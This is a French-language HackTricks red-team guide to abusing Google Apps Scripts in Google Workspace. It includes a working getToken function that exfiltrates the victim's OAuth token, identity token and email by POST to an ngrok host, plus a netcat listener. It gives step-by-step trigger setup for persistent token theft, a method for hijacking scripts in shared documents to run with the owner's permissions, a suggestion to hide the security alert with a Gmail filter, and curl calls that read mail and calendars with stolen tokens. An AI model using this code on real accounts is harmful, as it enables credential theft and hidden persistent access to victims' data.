GWS - App Scripts

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Scripts d'application

Les Scripts d'application sont du code qui sera déclenché lorsqu'un utilisateur avec la permission d'éditeur accède au document lié au Script d'application et après avoir accepté la demande OAuth. Ils peuvent également être configurés pour être exécutés à intervalles réguliers par le propriétaire du Script d'application (Persistance).

Créer un Script d'application

Il existe plusieurs façons de créer un Script d'application, bien que les plus courantes soient à partir d'un Document Google (de n'importe quel type) et en tant que projet autonome:

Créer un projet lié au conteneur à partir de Docs, Sheets ou Slides Google
  1. Ouvrez un document Docs, une feuille de calcul Sheets ou une présentation Slides.

  2. Cliquez sur Extensions > Google Apps Script.

  3. Dans l'éditeur de script, cliquez sur Projet sans titre.

  4. Donnez un nom à votre projet et cliquez sur Renommer.

Créer un projet autonome

Pour créer un projet autonome à partir de Apps Script:

  1. Cliquez sur Nouveau Projet.

  2. Dans l'éditeur de script, cliquez sur Projet sans titre.

  3. Donnez un nom à votre projet et cliquez sur Renommer.

Créer un projet autonome à partir de Google Drive
  1. Ouvrez Google Drive.

  2. Cliquez sur Nouveau > Autre > Google Apps Script.

Créer un projet lié au conteneur à partir de Google Forms
  1. Ouvrez un formulaire dans Google Forms.

  2. Cliquez sur Plus more_vert > Éditeur de script.

  3. Dans l'éditeur de script, cliquez sur Projet sans titre.

  4. Donnez un nom à votre projet et cliquez sur Renommer.

Créer un projet autonome en utilisant l'outil en ligne de commande clasp

clasp est un outil en ligne de commande qui vous permet de créer, extraire/pousser et déployer des projets Apps Script à partir d'un terminal.

Consultez le Guide de l'interface en ligne de commande en utilisant clasp pour plus de détails.

Scénario de Script d'application

Créer une feuille Google avec un Script d'application

Commencez par créer un Script d'application, ma recommandation pour ce scénario est de créer une feuille Google et d'aller à Extensions > Scripts d'application, cela ouvrira un nouveau Script d'application lié à la feuille.

Fuite de jeton

Pour donner accès au jeton OAuth, vous devez cliquer sur Services + et ajouter des autorisations telles que:

  • AdminDirectory: Accéder aux utilisateurs et groupes du répertoire (si l'utilisateur a suffisamment de permissions)

  • Gmail: Pour accéder aux données de Gmail

  • Drive: Pour accéder aux données de Drive

  • Google Sheets API: Pour qu'il fonctionne avec le déclencheur

Pour modifier vous-même les autorisations nécessaires, vous pouvez aller dans les paramètres du projet et activer: Afficher le fichier manifeste "appsscript.json" dans l'éditeur.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Pour capturer la requête, vous pouvez simplement exécuter :

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

Lorsqu'une demande externe est effectuée, la boîte de dialogue OAuth demandera également l'autorisation d'accéder à des points de terminaison externes.

Créer un déclencheur

Une fois que l'application est ouverte, cliquez sur ⏰ Déclencheurs pour créer un déclencheur. Pour la fonction à exécuter, choisissez getToken, exécutez au déploiement Head, dans la source d'événement sélectionnez À partir de la feuille de calcul et le type d'événement sélectionnez À l'ouverture ou À la modification (selon vos besoins) et enregistrez.

Notez que vous pouvez vérifier les exécutions des scripts de l'application dans l'onglet Exécutions si vous souhaitez déboguer quelque chose.

Partage

Pour déclencher le script de l'application, la victime doit se connecter avec un accès en tant qu'éditeur.

Le jeton utilisé pour exécuter le script de l'application sera celui du créateur du déclencheur, même si le fichier est ouvert en tant qu'éditeur par d'autres utilisateurs.

Abus des documents partagés avec moi

Si quelqu'un partage avec vous un document avec des scripts d'application et un déclencheur utilisant le Head du script de l'application (pas un déploiement fixe), vous pouvez modifier le code du script de l'application (en ajoutant par exemple les fonctions de vol de jeton), y accéder, et le script de l'application sera exécuté avec les autorisations de l'utilisateur qui a partagé le document avec vous! (notez que le jeton OAuth du propriétaire aura comme étendue d'accès celles données lors de la création du déclencheur).

Une notification sera envoyée au créateur du script indiquant que quelqu'un a modifié le script (Et si on utilisait les autorisations gmail pour générer un filtre afin d'éviter l'alerte?)

Si un attaquant modifie les étendues du script de l'application, les mises à jour ne seront pas appliquées au document tant qu'un nouveau déclencheur avec les modifications n'est pas créé. Par conséquent, un attaquant ne pourra pas voler le jeton du créateur avec plus d'étendues que celles qu'il a définies dans le déclencheur qu'il a créé.

Copier au lieu de partager

Lorsque vous créez un lien pour partager un document, un lien similaire à celui-ci est créé : https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Si vous modifiez la fin "/edit" en "/copy", au lieu d'y accéder, Google vous demandera si vous souhaitez générer une copie du document :

Si l'utilisateur le copie et y accède, à la fois le contenu du document et les scripts d'application seront copiés, cependant les déclencheurs ne le seront pas, donc rien ne sera exécuté.

Partage en tant qu'application Web

Notez qu'il est également possible de partager un script d'application en tant qu'application Web (dans l'Éditeur du script d'application, déployez en tant qu'application Web), mais une alerte comme celle-ci apparaîtra :

Suivie de la boîte de dialogue OAuth typique demandant les autorisations nécessaires.

Test

Vous pouvez tester un jeton obtenu pour lister les e-mails avec :

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Lister le calendrier de l'utilisateur :

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

Script d'application comme persistance

Une option pour la persistance serait de créer un document et ajouter un déclencheur pour la fonction getToken et partager le document avec l'attaquant afin que chaque fois que l'attaquant ouvre le fichier, il exfiltre le jeton de la victime.

Il est également possible de créer un Script d'application et de le déclencher à intervalles réguliers (comme chaque minute, heure, jour...). Un attaquant ayant compromis des identifiants ou une session d'une victime pourrait définir un déclencheur temporel pour un Script d'application et divulguer un jeton OAuth très privilégié chaque jour :

Il suffit de créer un Script d'application, d'aller dans Déclencheurs, de cliquer sur Ajouter un déclencheur, et de sélectionner comme source d'événement Temporel et de choisir les options qui vous conviennent le mieux :

Cela enverra un e-mail d'alerte de sécurité et un message push sur votre mobile pour vous avertir à ce sujet.

Contournement de la demande non vérifiée de document partagé

De plus, si quelqu'un vous a partagé un document avec un accès en tant qu'éditeur, vous pouvez générer des Scripts d'application à l'intérieur du document et le PROPRIÉTAIRE (créateur) du document sera le propriétaire du Script d'application.

Cela signifie que le créateur du document apparaîtra comme créateur de tout Script d'application que toute personne ayant un accès en tant qu'éditeur crée à l'intérieur.

Cela signifie également que le Script d'application sera approuvé par l'environnement Workspace du créateur du document.

Cela signifie également que si un Script d'application existait déjà et que des personnes ont accordé l'accès, toute personne ayant la permission Éditeur sur le document peut le modifier et en abuser. Pour abuser de cela, vous avez également besoin que des personnes déclenchent le Script d'application. Et un petit truc est de publier le script en tant qu'application web. Lorsque les personnes qui ont déjà accordé l'accès au Script d'application accèdent à la page web, elles déclencheront le Script d'application (cela fonctionne également en utilisant des balises <img>).

Dernière mise à jour